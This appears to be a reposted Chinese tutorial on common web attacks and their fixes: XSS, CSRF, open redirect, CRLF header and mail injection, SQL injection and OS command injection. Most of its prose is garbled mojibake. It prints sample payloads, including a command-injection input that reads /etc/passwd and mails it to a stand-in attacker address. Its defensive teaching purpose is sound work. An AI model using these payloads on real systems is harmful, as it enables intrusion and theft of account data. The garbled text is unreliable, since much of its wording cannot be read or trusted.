web缃戠粶鏀诲嚮瑙e喅鏂规
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web缃戠粶鏀诲嚮瑙e喅鏂规相关的知识,希望对你有一定的参考价值。
鏍囩锛?a href='http://www.mamicode.com/so/1/%e6%88%aa%e6%96%ad' title='鎴柇'>鎴柇
adr 涓夋柟 from inf www 鑾峰彇 img int浜х敓鍘熷洜
- HTTP 涓嶅叿澶囧畨鍏ㄥ姛鑳姐€?/li>
- 鍦ㄥ鎴风鍙互绡℃敼璇锋眰銆?/li>
璺ㄧ珯鑴氭湰鏀诲嚮 XSS
鏀诲嚮鏂瑰紡锛?/p>
- 閫氳繃鎻愪氦鐨勪俊鎭腑甯﹀叆 js 鑴氭湰鎴?html 鏍囩銆?/li>
- 鎻愬墠闂悎鏍囩锛屾湁浜涚敋鑷充笉鐢ㄧ壒娈婂鐞嗐€?/li>
- 鎵ц鎿嶄綔鎴栬€呭紩鍏ヤ笁鏂?js 銆?/li>
姝e父璇锋眰锛?http: //example.jp/login?ID="haha"
姝e父鏄剧ず锛?<input type="text" name="ID" value="yama" />
鏀诲嚮璇锋眰锛?http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>"
鏀诲嚮鏄剧ず锛?<input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>
瑙e喅鏂规锛?/p>
- 瀵规彁浜ゅ唴瀹硅繘琛岀紪璇戯紝鈥?lt;鈥?杞?鈥?amp;lt;鈥? ">" 杞?鈥?amp;gt;鈥濄€傞槻姝㈡枃鏈В鏋愭垚鏍囩銆?/li>
璺ㄧ珯鐐逛吉閫犺姹傛敾鍑?CSRF
鏀诲嚮鏂瑰紡锛?/p>
- 閫氳繃绗笁鏂圭綉绔欙紝璁块棶鏈綉绔欑殑鎺ュ彛锛屽鑷存惡甯︽湰缃戠珯鐨?cookie 銆?/li>
- 闅愬尶鐨勪娇鐢ㄦ埛杩涜鎿嶄綔銆?/li>
瑙e喅鏂规锛?/p>
- 鏂规硶涓€锛氶獙璇?HTTP Referer 鎺у埗璇锋眰蹇呴』鏈綉绔欏彂鍑恒€?/li>
- 鏂规硶浜岋細鍦ㄨ姹傚湴鍧€涓坊鍔?token 骞堕獙璇併€?/li>
- 鏂规硶涓夛細鍦?HTTP 澶翠腑鑷畾涔夊睘鎬у苟楠岃瘉锛岀涓夋柟缃戠珯鐨勮姹傜姝㈡惡甯﹁嚜瀹氫箟澶淬€?/li>
URL 璺宠浆婕忔礊鏀诲嚮
鏀诲嚮鏂瑰紡锛?/p>
- 涓€鑸櫥褰曢〉闈細鍦ㄧ櫥褰曞悗锛岄€氳繃 URL 鐨勫弬鏁拌繘琛屽洖璺炽€?/li>
- 绗笁鏂圭綉绔欙紝閫氳繃鎻愪緵姝h鐨勭櫥褰曞湴鍧€鍜岄敊璇殑鍥炶烦鍦板潃銆?/li>
- 璇卞鐢ㄦ埛浠ヤ负瀹夊叏鐧诲綍銆?/li>
瑙e喅鏂规锛?/p>
- 瀵瑰洖璺崇殑鍦板潃杩涜涓ユ牸鏍¢獙銆?/li>
- 涓嶈兘鍙畝鍗曟牎楠屽煙鍚嶆槸鍚﹀湪鍦板潃涓瓨鍦ㄣ€?/li>
HTTP 棣栭儴娉ㄥ叆鏀诲嚮
鏀诲嚮鏂瑰紡锛?/p>
- 閫氳繃 %0D%0A 鎴柇浠g爜锛屾敞鍏?http 澶翠唬鐮併€?/li>
Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789
%0D%0A 浠h〃 HTTP 鎶ユ枃涓殑鎹㈣绗︼紝绱ф帴鐫€鐨勬槸鍙己鍒跺皢鏀诲嚮鑰呯綉绔欙紙http: //hackr.jp/锛夌殑浼氳瘽 ID 璁剧疆鎴?SID=123456789 鐨?Set-Cookie 棣栭儴瀛楁銆傞閮ㄥ瓧娈?Set-Cookie 宸茬敓鏁堬紝鍥犳鏀诲嚮鑰呭彲鎸囧畾淇敼浠绘剰鐨?Cookie 淇℃伅銆傞€氳繃鍜屼細璇濆浐瀹氭敾鍑伙紙鏀诲嚮鑰呭彲浣跨敤鎸囧畾鐨勪細璇?ID锛夋敾鍑荤粍鍚堬紝鏀诲嚮鑰呭彲浼鎴愮敤鎴枫€?/code>
瑙e喅鏂规锛?/p>
- 瀵?%0D%0A 杩涜璇嗗埆锛屽苟涓斿墧闄ゃ€?/li>
HTTP 鍝嶅簲鎴柇鏀诲嚮
鏀诲嚮鏂瑰紡锛?/p>
- 閫氳繃 %0D%0A%0D%0A 鎴柇浠g爜锛岄€犳垚澶氫綑鐨勭┖琛岋紝娉ㄥ叆鍝嶅簲浣撲唬鐮併€?/li>
Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);
HTTP 鍝嶅簲鎴柇鏀诲嚮鏄敤鍦?HTTP 棣栭儴娉ㄥ叆鐨勪竴绉嶆敾鍑汇€傝灏嗕袱涓?%0D%0A%0D%0A 骞舵帓鎻掑叆瀛楃涓插悗鍙戦€併€傚埄鐢ㄨ繖涓や釜杩炵画鐨勬崲琛屽氨鍙綔鍑?HTTP 棣栭儴涓庝富浣撳垎闅旀墍闇€鐨勭┖琛屼簡锛岃繖鏍峰氨鑳芥樉绀轰吉閫犵殑涓讳綋锛岃揪鍒版敾鍑荤洰鐨勩€?/code>
瑙e喅鏂规锛?/p>
- 瀵?%0D%0A 杩涜璇嗗埆锛屽苟涓斿墧闄ゃ€?/li>
SQL 娉ㄥ叆鏀诲嚮
鏀诲嚮鏂瑰紡锛?/p>
- 閫氳繃鍗曞紩鍙峰瓧绗﹀姞鈥?-鈥濓紝鎴柇 sql 璇彞銆?/li>
姝e父璇锋眰锛?http: //example.jp/search?q=haha
姝e父鎵ц锛?SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1;
鏀诲嚮璇锋眰锛?http: //example.jp/search?q=haha鈥?--
鏀诲嚮鏄剧ず锛?SELECT * FROM bookTbl WHERE author = 'haha' --鈥?and flag = 1;
flag = 1 鐨勬潯浠惰蹇界暐
瑙e喅鏂规锛?/p>
- 瀵?鈥溾€?--鈥?杩涜璇嗗埆锛屽苟涓斿墧闄ゃ€?/li>
閭欢棣栭儴娉ㄥ叆鏀诲嚮
鏀诲嚮鏂瑰紡锛?/p>
- 閫氳繃 %0D%0A 鎴柇浠g爜锛岃拷鍔犻偖浠跺湴鍧€銆?/li>
- 閫氳繃 %0D%0A%0D%0A 鎴柇浠g爜锛岄€犳垚澶氫綑鐨勭┖琛岋紝绡℃敼閭欢涓讳綋銆?/li>
[email protected]%0D%0ABcc: [email protected]
%0D%0A 鍦ㄩ偖浠舵姤鏂囦腑浠h〃鎹㈣绗︺€備竴鏃﹀挩璇㈣〃鍗曟墍鍦ㄧ殑 Web 搴旂敤鎺ユ敹浜嗚繖涓崲琛岀锛屽氨鍙兘瀹炵幇瀵?Bcc 閭欢鍦板潃鐨勮拷鍔犲彂閫侊紝鑰岃繖鍘熸湰鏄棤娉曟寚瀹氱殑銆?
bob @ hackr.jp%0D%0A%0D%0ATest Message
浣跨敤涓や釜杩炵画鐨勬崲琛岀灏辨湁鍙兘绡℃敼閭欢鏂囨湰鍐呭骞跺彂閫併€?鍐嶄互鐩稿悓鐨勬柟娉曪紝灏辨湁鍙兘鏀瑰啓 To 鍜?Subject 绛変换鎰忛偖浠堕閮紝鎴栧悜鏂囨湰娣诲姞闄勪欢绛夊姩浣溿€?/code>
瑙e喅鏂规锛?/p>
- 瀵?%0D%0A 杩涜璇嗗埆锛屽苟涓斿墧闄ゃ€?/li>
OS 鍛戒护娉ㄥ叆鏀诲嚮
鏀诲嚮鏂瑰紡锛?/p>
- 閫氳繃鍒嗗彿锛屾埅鏂鍙ワ紝鍔犲叆鏀诲嚮璇彞銆?/li>
鏍稿績浠g爜锛?my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info @ example.com
";
褰撲紶鍏?mailaddress 鍙傛暟涓?鈥? cat /etc/passwd | mail hack @ example.jp鈥?
浼氭墽琛屼笅闈㈢殑璇彞锛?| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp
灏嗗惈鏈?Linux 璐︽埛淇℃伅 /etc/passwd 鐨勬枃浠讹紝灏变互閭欢褰㈠紡鍙戦€佺粰浜?hack @ example.jp銆?/code>
瑙e喅鏂规锛?/p>
- 瀵瑰垎鍙疯繘琛岃瘑鍒紝骞舵姤閿欍€?/li>
以上是关于web缃戠粶鏀诲嚮瑙e喅鏂规的主要内容,如果未能解决你的问题,请参考以下文章
浣跨敤IScroll缁勪欢鍑虹幇婊戝姩鍗¢闂瑙e喅鏂规硶
Failed to connect to raw.githubusercontent.com port 443 瑙e喅鏂规